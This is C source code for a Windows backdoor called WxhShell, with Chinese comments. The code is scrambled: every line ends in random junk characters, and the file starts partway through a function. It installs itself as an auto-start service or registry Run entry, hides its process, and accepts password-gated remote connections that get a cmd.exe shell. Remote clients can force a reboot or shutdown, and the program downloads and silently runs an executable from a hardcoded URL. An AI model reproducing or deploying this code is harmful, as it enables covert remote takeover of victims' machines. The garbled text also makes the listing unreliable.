    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {kl{mJ*  
    else { w1#jVcUQ  
    closesocket(wsh); kr`BUW3  
    ExitThread(0); <o7#?AcPu  
    } yX V|4  
    break; (g/X(3  
    } 5[2.5/  
  // 获取shell 50GYL5)q  
  case 's': { )R)$T'  
    CmdShell(wsh); 1R%`i '$/  
    closesocket(wsh); W}2 &Pax  
    ExitThread(0); L sDzV)  
    break; )g:,_1s)|  
  } >_aio4j}r  
  // 退出 "]s|D@^4#b  
  case 'x': { {/A)t1nL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a!y,!EB+Qu  
    CloseIt(wsh); /D$+b9FR<  
    break; T[XP\!z]B!  
    } \_Kt6=  
  // 离开 ?hJsN  
  case 'q': { bjPbl2K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -V u/TT0  
    closesocket(wsh); (d'j'U:C  
    WSACleanup(); a5}44/%  
    exit(1); 9^QYuf3O  
    break; wz*A<iU  
        } #}!>iFBcH  
  } r d6F"W  
  } Ls>u` hG  
8yWu{'G  
  // 提示信息 5\w=(c9A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .p(6' TYnI  
} R=amKLD?  
  } 4-+ozC{  
#A/]Vs$  
  return; t&9as}  
} RCh$j&Tn  
=,d* {m~A  
// shell模块句柄 Y%)h)El  
int CmdShell(SOCKET sock) @nx}6?p\,  
{ 9Z0CF~Y5  
STARTUPINFO si; 9]L!.  
ZeroMemory(&si,sizeof(si)); [7e{=\`=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 02W4-*)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xZP>g  
PROCESS_INFORMATION ProcessInfo; bwSRJFqb  
char cmdline[]="cmd"; 5hJYy`h~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @4_rxu&  
  return 0; yC'hwoQ`  
} V%BJNJ  
5fegWCJ  
// 自身启动模式 -4vHK!l  
int StartFromService(void) YBtq0c  
{ "y~muE:.  
typedef struct "$W|/vD+  
{ U1>  
  DWORD ExitStatus; O2q=gYX>\  
  DWORD PebBaseAddress; \]U<hub  
  DWORD AffinityMask; hC|5e|S  
  DWORD BasePriority; [%7;f|p?  
  ULONG UniqueProcessId; NMl ?Y uEv  
  ULONG InheritedFromUniqueProcessId; m@G<ZCMZ  
}   PROCESS_BASIC_INFORMATION; FDVI>HK @  
E/~"j  
PROCNTQSIP NtQueryInformationProcess; !dyxE'T2  
pkXfsi-Nu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #hgmUa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '&-5CpDUs  
#QTfT&m+G}  
  HANDLE             hProcess; AaVI%$  
  PROCESS_BASIC_INFORMATION pbi; obAs<nk  
d; mmM\3]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8! H8[J  
  if(NULL == hInst ) return 0; @ ],6SKbG6  
:BL'>V   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .DDg%z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Di ^6UK(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NK7H,V}T  
A6^p}_  
  if (!NtQueryInformationProcess) return 0; p}YI#f in/  
#Mj$o;SX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,7^d9v3t  
  if(!hProcess) return 0; r,2Xu  
JrCf,?L^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yu`KzIU  
gp~yt0AU  
  CloseHandle(hProcess); v8=?HUDd  
{{V ;:+62  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); });cX$  
if(hProcess==NULL) return 0; ^))PCn_zb  
cWN d<=Jp  
HMODULE hMod; MzEm*`<  
char procName[255]; HGO#e  
unsigned long cbNeeded; !,cQ'*<W8-  
:3KO6/+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r{t. c?/  
MV"E?}0  
  CloseHandle(hProcess); 1MbY7!?PG  
R'Kt=.s<  
if(strstr(procName,"services")) return 1; // 以服务启动 &mN'Tk  
pU?{0xZH  
  return 0; // 注册表启动 81GQijq  
} >_;kTy,  
RLdl z  
// 主模块 )KSisEL  
int StartWxhshell(LPSTR lpCmdLine) :/o C:z\h  
{ { 1+Cw?1d  
  SOCKET wsl; z.eJEK  
BOOL val=TRUE; ]b4pI*:$I  
  int port=0; Ik`O.Q.}  
  struct sockaddr_in door; F(Lb8\to\M  
5;IT64&]  
  if(wscfg.ws_autoins) Install(); _PK}rr?"7O  
$Y8>_6%+T  
port=atoi(lpCmdLine); /xl4ohL$a  
.)LZ`Ge3F  
if(port<=0) port=wscfg.ws_port; 9{_8cpm4  
b;S6'7Jf9  
  WSADATA data; N]B)Fb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VZ\O9lD  
^oS$>6|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uQH%.A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }x*7l`1  
  door.sin_family = AF_INET; Ct4LkmD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lV P9=  
  door.sin_port = htons(port); 2>F\&  
KMUK`tbaI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FX H0PK  
closesocket(wsl); !Tv?%? 2l  
return 1; CPVzX%=  
} ZU=,f'bU  
r eGm>  
  if(listen(wsl,2) == INVALID_SOCKET) { ^'m\D;  
closesocket(wsl); TqIAWbb&  
return 1; ;avQ1T'{?g  
} 3\;v5D:  
  Wxhshell(wsl); 4HM;K_G%{  
  WSACleanup(); +T9Q_e*  
eymi2-a<  
return 0; ? m&IF<b  
:.Y|I[\E%  
} dVa!.q_3  
DhZ:#mM{  
// 以NT服务方式启动 r]v&t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &=YSM.G  
{ TI}}1ScA'  
DWORD   status = 0; {S G*  
  DWORD   specificError = 0xfffffff; *D2Nm9sl  
t5xb"F   
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rv98\VD"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }*NF&PD5RU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *P`v^&  
  serviceStatus.dwWin32ExitCode     = 0; xdPcsox~  
  serviceStatus.dwServiceSpecificExitCode = 0; YQ; cJ$  
  serviceStatus.dwCheckPoint       = 0; VM7 !0  
  serviceStatus.dwWaitHint       = 0; $H'8 #:[d_  
^7.XGWQ)-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1n_;kaY  
  if (hServiceStatusHandle==0) return; AIb>pL{  
tE@FvZC'=  
status = GetLastError(); l';pP^.q  
  if (status!=NO_ERROR) <j;]!qFR  
{ ',GV6kt_k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o7.e'1@  
    serviceStatus.dwCheckPoint       = 0; $*k)|4  
    serviceStatus.dwWaitHint       = 0; u#1%P5r&X  
    serviceStatus.dwWin32ExitCode     = status; z 5'ZN+  
    serviceStatus.dwServiceSpecificExitCode = specificError; X/l;s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o+NMA (  
    return; mb&lCd ^-  
  } @dl8(ILk'  
-OrR $w|e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o]<jZ_|gB  
  serviceStatus.dwCheckPoint       = 0; vYdR ht\(  
  serviceStatus.dwWaitHint       = 0; PY?8 [A+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3)3Hck  
} KF+mZB  
ld.7`)  
// 处理NT服务事件,比如:启动、停止 joqWh!kv7U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uMvb-8  
{ g5i#YW  
switch(fdwControl) []zua14F6  
{ 8'_ 0g[s  
case SERVICE_CONTROL_STOP: /prYSRn8  
  serviceStatus.dwWin32ExitCode = 0; Z0$] tS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z0-ytODI I  
  serviceStatus.dwCheckPoint   = 0; &R,9+c  
  serviceStatus.dwWaitHint     = 0; 1_uvoFLk  
  { tmO`|tn&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +TH3&H5I_A  
  } ?Nf 5w  
  return; GX  }q9  
case SERVICE_CONTROL_PAUSE: /4*WDiH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #jBN?Z#  
  break; =s;M]:  
case SERVICE_CONTROL_CONTINUE: 4J5pXlzV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FbAW_Am(  
  break; <C'Z H'p  
case SERVICE_CONTROL_INTERROGATE: v`x|]-/M&  
  break; :'}@Al9=>  
}; 'Dath>Y=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &+01+-1hW  
} 9cG<hX9`F  
^]>aHz9  
// 标准应用程序主函数 %D`o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yS!(Ap  
{ 8O7Yv<  
=xL)$DTg)  
// 获取操作系统版本 _7"5wB?|+  
OsIsNt=GetOsVer(); /aYpIMi9}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8.QSqW7t  
bAEg$A  
  // 从命令行安装 CE ~@}`  
  if(strpbrk(lpCmdLine,"iI")) Install(); _okWQvdH  
(?>cn_m  
  // 下载执行文件 KxIyc7.  
if(wscfg.ws_downexe) { Y.sz|u 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~}'F887f  
  WinExec(wscfg.ws_filenam,SW_HIDE); SJk>Jt=  
} A_R!uRD8-  
ys8Q.oBv_`  
if(!OsIsNt) { )&,{?$.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qs9OC9X1  
HideProc(); +&5' uAe  
StartWxhshell(lpCmdLine); }Cj8  
} d(;4`kd*N  
else D."=k{r.  
  if(StartFromService()) %d2!\x%bG  
  // 以服务方式启动 BI/&dKM  
  StartServiceCtrlDispatcher(DispatchTable); I4=Xb^Ux  
else =rFN1M/n{E  
  // 普通方式启动 =lp1Z>  
  StartWxhshell(lpCmdLine); eg<pa'Hw  
Zb_apjg[4  
return 0; =:=/Gz1  
} `s"d]/85VW  
d ~`V7B2Y  
g`0moXz  
nlGHT  
=========================================== ^U@~+dw  
5MF#&v  
H'DVwnn>ik  
eSfnB_@x2  
Y@uh[aS!  
)C~9E 5E  
" Q@S-f:!  
$IX\O  
#include <stdio.h> O )d[8jw"  
#include <string.h> F #`=oM $5  
#include <windows.h> fjG&`m#"  
#include <winsock2.h> wTc)S6%7  
#include <winsvc.h> j:,9%tg  
#include <urlmon.h> 91Z'  
r!GW= u'  
#pragma comment (lib, "Ws2_32.lib") I G ~`i I  
#pragma comment (lib, "urlmon.lib") (xpn`NA  
*O~e T  
#define MAX_USER   100 // 最大客户端连接数 lDU_YEQ>  
#define BUF_SOCK   200 // sock buffer Um` !%  
#define KEY_BUFF   255 // 输入 buffer W 7sn+g \  
[?0d~Q(R#  
#define REBOOT     0   // 重启 cU.9}-)  
#define SHUTDOWN   1   // 关机 pUYM}&dX  
(?0`d  
#define DEF_PORT   5000 // 监听端口 >''U  
<vV_%uo M  
#define REG_LEN     16   // 注册表键长度 /F)H\*  
#define SVC_LEN     80   // NT服务名长度 :-T*gqj|  
-NJ!g/ >mM  
// 从dll定义API JRaq!/[(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); neZ.`"LV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u]*0;-tz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); % Zjdl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <0P5 o|  
8\.b4FNJ  
// wxhshell配置信息 Yk!/ow@.  
struct WSCFG { 0RFRbi@n(  
  int ws_port;         // 监听端口 nh+l7 8  
  char ws_passstr[REG_LEN]; // 口令 Z4b||  
  int ws_autoins;       // 安装标记, 1=yes 0=no pCi#9=?N  
  char ws_regname[REG_LEN]; // 注册表键名 dT"hNHaf  
  char ws_svcname[REG_LEN]; // 服务名 p4!:]0c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p'_%aVm7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +]Zva:$#`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (V:E2WR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V!_71x\-Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KqY["5p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uVE.,)xz  
q*7<)VwI  
}; PNs~[  
=FP0\cQ.  
// default Wxhshell configuration 4GdX/6C.  
struct WSCFG wscfg={DEF_PORT, 58Xzup_"  
    "xuhuanlingzhe", e'%v1-&sP  
    1, "qz3u`[o  
    "Wxhshell", rwLAW"0Qz  
    "Wxhshell", B;>{0 s  
            "WxhShell Service", i%m"@7.kk  
    "Wrsky Windows CmdShell Service", W,5Hx1z R  
    "Please Input Your Password: ", W !w,f;  
  1, XRx+Dddt;  
  "http://www.wrsky.com/wxhshell.exe", T;TA7{B  
  "Wxhshell.exe" @gC=$A#  
    }; -VKS~{  
FY{e2~gi  
// 消息定义模块 CC=d I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mn1Pt|_@!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aT!'}GjL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nfSbM3D]h  
char *msg_ws_ext="\n\rExit."; nn/?fIZN4  
char *msg_ws_end="\n\rQuit."; GPz(j'jU  
char *msg_ws_boot="\n\rReboot..."; JF&$t}  
char *msg_ws_poff="\n\rShutdown..."; 9I27TKy  
char *msg_ws_down="\n\rSave to "; sV"UI  
i<kD  
char *msg_ws_err="\n\rErr!"; q;g>t5]a  
char *msg_ws_ok="\n\rOK!"; l/TjQ*  
Z;Ez"t&U  
char ExeFile[MAX_PATH]; [qUN4x5b  
int nUser = 0; }D411228  
HANDLE handles[MAX_USER]; jp8@vdRg  
int OsIsNt; -i0(2*<  
Un`^jw#_  
SERVICE_STATUS       serviceStatus; J%09^5:-z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O/AaYA&  
@AHm!9?o  
// 函数声明 c0B|F  
int Install(void); g8qgk:}  
int Uninstall(void); A1'hlAGF  
int DownloadFile(char *sURL, SOCKET wsh); F'jWV5"*  
int Boot(int flag); ]H-S, lmV  
void HideProc(void); %~L>1ShtU  
int GetOsVer(void); $vC1 K5sLk  
int Wxhshell(SOCKET wsl); QO;N9ZI  
void TalkWithClient(void *cs); zJP6F.Ov!  
int CmdShell(SOCKET sock); @k[R/,#'[t  
int StartFromService(void); F <>!kK/c  
int StartWxhshell(LPSTR lpCmdLine); B~o\+n  
wW>zgTG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xh7cVE[UM  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  ]#7zk9  
}bY; q-  
// 数据结构和表定义 Tc8 un.  
SERVICE_TABLE_ENTRY DispatchTable[] = eP*lI<NQ1  
{ 5` Te \H  
{wscfg.ws_svcname, NTServiceMain}, I2nF-JzD2a  
{NULL, NULL} 3vcO!6Z5  
}; t`*!w|}(1  
~\{^%~[48  
// 自我安装 7VcmVq}X  
int Install(void) =mA: ctu~v  
{ }ci#>  
  char svExeFile[MAX_PATH]; 3"o"fl  
  HKEY key; s! n<}C  
  strcpy(svExeFile,ExeFile); (WJ${OW  
? A(QyaKz  
// 如果是win9x系统,修改注册表设为自启动 =]:>"_jN  
if(!OsIsNt) { GKN%Tv:D_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GpZ c5c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Mi;*ZR  
  RegCloseKey(key); 64hk2a8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q+g!V5'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b Q]/?cCYV  
  RegCloseKey(key); (Qa/EkE^*w  
  return 0; Cmc3k,t  
    } foJdu+^  
  } ,9WBTH8  
} aW>6NDq(  
else { PaV-F_2  
$<:E'^SAS  
// 如果是NT以上系统,安装为系统服务 `PY>Hgb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [9 Ss# ~  
if (schSCManager!=0) sC9&Dgkk  
{ TMY d47  
  SC_HANDLE schService = CreateService A&nU]R8S  
  ( gy&[?m6M=  
  schSCManager, W5SJ^,d)J  
  wscfg.ws_svcname, |V<h=D5W  
  wscfg.ws_svcdisp, 035rPT7-2-  
  SERVICE_ALL_ACCESS, v|U(+O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G:zua`u[  
  SERVICE_AUTO_START, rn<PR*  
  SERVICE_ERROR_NORMAL, #1>X58I^  
  svExeFile, @)Ofi j  
  NULL, jBegh9KHq  
  NULL, fk_o@ G!0  
  NULL, 5nsq[Q`  
  NULL, ]Dw]p! @  
  NULL 6/rFHY2q  
  ); X7s `U5'l  
  if (schService!=0) ^tXJj:wtS  
  { ]c! ;L5  
  CloseServiceHandle(schService); xO-+i\ ZV  
  CloseServiceHandle(schSCManager); y~)1 1]'>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aH^RoG}  
  strcat(svExeFile,wscfg.ws_svcname); &^W|iXi#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I1PuHf Qs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =}.EY iD  
  RegCloseKey(key); m 9/}~Y#k  
  return 0; m=YU2!Mb  
    } K_dOq68_  
  } kT;S4B  
  CloseServiceHandle(schSCManager); -wjN"g<  
} F&&$Qn_+  
} br|;'i%(  
@|\}.M<e*)  
return 1; $sEy%-  
} Q=]w !I\  
9/nn)soC3  
// 自我卸载 l5"OIq  
int Uninstall(void) mvq&Pj 1}L  
{ R) c'#St  
  HKEY key; ^k]XEW{PG  
1Z9qjV%^  
if(!OsIsNt) { b j'Xg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V3"=w&2]K  
  RegDeleteValue(key,wscfg.ws_regname); aoXb22]{  
  RegCloseKey(key); SLh(9%S;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e d<n9R  
  RegDeleteValue(key,wscfg.ws_regname); h=:Q-?n-  
  RegCloseKey(key); uuQ(&  
  return 0; .FLy;_f+  
  } (;q;E\Ej q  
} >/8yGBD  
} 0PWg;>^'  
else { 7k rUKYVo  
<TP=oq?I/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~m$Y$,uH  
if (schSCManager!=0) Xwhui4'w  
{ Z /9>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PbmDNKEh{  
  if (schService!=0) 49vcoHlf  
  { T3^GCX|!@  
  if(DeleteService(schService)!=0) { 9<>wIl*T`  
  CloseServiceHandle(schService); ^pYxKU_O  
  CloseServiceHandle(schSCManager); JhLgCnm  
  return 0; 07[_.i.l  
  } #Jw1IcuH  
  CloseServiceHandle(schService); *3?'4"B{8  
  } #H :7@  
  CloseServiceHandle(schSCManager); \Rp-;.I@6  
} sNLs\4v  
} h]TQn)X]  
|fHV2Y`:g  
return 1; Gy6l<:;  
} fc |GArL#}  
D`$hPYK|_  
// 从指定url下载文件 -&-Ma,M?  
int DownloadFile(char *sURL, SOCKET wsh) N9v1[~ bv_  
{ ]VD|xm:kj  
  HRESULT hr; [_}J F}6  
char seps[]= "/"; pNKhc#-w  
char *token; m+Rv+_R  
char *file; FN8NTBk  
char myURL[MAX_PATH]; CL+}| 7O(  
char myFILE[MAX_PATH]; #N`~xZ|$  
*exS6@N]  
strcpy(myURL,sURL); e8GEoD  
  token=strtok(myURL,seps); K~| 4[\  
  while(token!=NULL) L{8xlx`  
  { E6pMT^{K  
    file=token; #3+!ee27#  
  token=strtok(NULL,seps); TL}++e 7+  
  } (G[ *|6m  
TZY3tUx0|G  
GetCurrentDirectory(MAX_PATH,myFILE); <OIIoB?t  
strcat(myFILE, "\\"); dF2nEaN0%  
strcat(myFILE, file); 4x 8)gE   
  send(wsh,myFILE,strlen(myFILE),0); =fO5cA6Z  
send(wsh,"...",3,0); !lj| cT9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <1t*I!e_  
  if(hr==S_OK) FW21 U<  
return 0; G1o3l~x  
else lLF-{  
return 1; (aH'h1,G  
9R7 A8  
} z}MP)|aH:  
/,g,Ch<d  
// 系统电源模块 r(RKwr:m  
int Boot(int flag) 4#:W.]U8  
{ '2[albxSc  
  HANDLE hToken;  O4og?h>  
  TOKEN_PRIVILEGES tkp; y9>ZwYN  
~2gG(1%At9  
  if(OsIsNt) { %3ICI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1f":HnLRM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]%IT|/;9Y  
    tkp.PrivilegeCount = 1; (adyZ/j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F;7dt@5;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :{q < {^c  
if(flag==REBOOT) { E.Jkf\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 4L\Jx  
  return 0; yrC7F` .  
} j,"@?Wt7  
else { TX&Jt%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K*X_FJ  
  return 0; 4\4FolsK  
} *%S"eWb  
  } K>DR Jz  
  else { ZHm7Isa1  
if(flag==REBOOT) { H\0~#(z?.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \E*d\hrl{  
  return 0; N<IT w/@^  
} r}mbXvn  
else { Jc|6&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ".<DAs j  
  return 0; +h r@#n4A  
} $**r(HV  
} WRrd'{sB  
'U\<IL#U  
return 1; b"#WxgaF  
} V;:jZpG  
X;"Sx#U  
// win9x进程隐藏模块 rU2%dkTa  
void HideProc(void) f;xkT  
{ ;3B1_vo9  
Zw ^kmSL"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L>SjllY  
  if ( hKernel != NULL ) / ;,Md,p  
  { :uK? 4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZI3Nq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {O7X`'[  
    FreeLibrary(hKernel); %\H|B0  
  } `m!j$,c.  
_U |>b>  
return; o .qf _A  
} oBzfbg8p  
H\:lxR^  
// 获取操作系统版本 2IKnhBSV3  
int GetOsVer(void) A.EbXo/  
{ T ^~5n6  
  OSVERSIONINFO winfo; JAQb{KefdO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~==>pj  
  GetVersionEx(&winfo); @EnuJe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p4-o/8rO  
  return 1; ]jmL]Ny^  
  else 5`gQ~   
  return 0; e0T34x'  
} vfE6Ggz  
ysQ,)QoiR{  
// 客户端句柄模块 RWg No #<  
int Wxhshell(SOCKET wsl) JQ6zVS2SSS  
{ ) `A3M)  
  SOCKET wsh; :=/>Vbd: )  
  struct sockaddr_in client; T QSzx%i2  
  DWORD myID; [ji#U s:h  
b{]z w pf  
  while(nUser<MAX_USER) Dm-zMCf}Q  
{ I/L_@X<*r  
  int nSize=sizeof(client); 7w/4QiI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pnbIiyV  
  if(wsh==INVALID_SOCKET) return 1; wT:b\km:!  
t-0a7 1#e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -< &D  
if(handles[nUser]==0) L&%s[  
  closesocket(wsh); !VI]oRgP  
else D IzH`|Y  
  nUser++; b+&% 1C  
  } |qmu _x\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gm[z[~X@  
{yB&xj[z  
  return 0; aM:nOt" S1  
} $l|qk  z  
kT'u1q$3Vo  
// 关闭 socket Bb}fj28  
void CloseIt(SOCKET wsh) m|:_]/*qE  
{ <F=xtyl7  
closesocket(wsh); ~?FpU  
nUser--; JaL%qco  
ExitThread(0); jhg;%+KB  
} U2wbvXr5-  
:"I E  
// 客户端请求句柄 s8#X3Rp  
void TalkWithClient(void *cs) !Y\D?rKZ  
{ /S(zff[at  
371 TvZ4  
  SOCKET wsh=(SOCKET)cs;  )8UWhl=  
  char pwd[SVC_LEN]; q11>f   
  char cmd[KEY_BUFF]; ~tR~?b T  
char chr[1]; (;57Vw  
int i,j; 8qEVOZjV&  
(3 #Cl 1]f  
  while (nUser < MAX_USER) { ;F~LqC$  
y1bbILWej  
if(wscfg.ws_passstr) { x\s|n{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Ub g0"F(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \&iP`v`K  
  //ZeroMemory(pwd,KEY_BUFF); B&.FO O  
      i=0; |<.lW  
  while(i<SVC_LEN) { B{C??g8/  
.G)(0z("s  
  // 设置超时 Z<SLc,]^  
  fd_set FdRead; WeQk<y  
  struct timeval TimeOut; P3nb2.  
  FD_ZERO(&FdRead); u*tN)f3  
  FD_SET(wsh,&FdRead); g)_e]&  
  TimeOut.tv_sec=8; k=B] &F  
  TimeOut.tv_usec=0; S<WdZ=8sA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , 'ZD=4_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,XIz?R>;c  
pSr{>;bN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dUF&."pW e  
  pwd=chr[0]; ;r>snJ=M  
  if(chr[0]==0xd || chr[0]==0xa) { MV\|e1B}  
  pwd=0; CFqJ/ ''  
  break; L}}y'^(  
  } vt;{9\Y  
  i++; LX@/RAd vz  
    } OV%Q3$15  
Lv'D^'I  
  // 如果是非法用户,关闭 socket q|v(Edt|_[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  y7$iOR  
} N#Zhxu,g!  
-t2+|J*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ircp``g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yI ld75S`  
~d%Pnw|  
while(1) { N^pJS6cJkl  
:L1dyVA{  
  ZeroMemory(cmd,KEY_BUFF); phn9:{TI  
-|Y(V5]  
      // 自动支持客户端 telnet标准   AjT%]9 V?  
  j=0; H~+l7OhV  
  while(j<KEY_BUFF) { 2Ri{bWi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yb /i{@AJ  
  cmd[j]=chr[0]; 't_[dSO  
  if(chr[0]==0xa || chr[0]==0xd) { ` bdZ/*E  
  cmd[j]=0; |R56ho5C  
  break; )E,\H@A  
  } 2A\,-*pc  
  j++; )QG<f{wS  
    } *3&fqBg  
]]&M@FM2z  
  // 下载文件 :^fcC[$K  
  if(strstr(cmd,"http://")) { 6X\ 2GC9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 66'?&Xx'  
  if(DownloadFile(cmd,wsh)) TP"1\O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :sP!p`dl  
  else 3Ezy %7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jWY$5Vq<H  
  } TU GNq  
  else { #fL8Kq  
\igmv]G%  
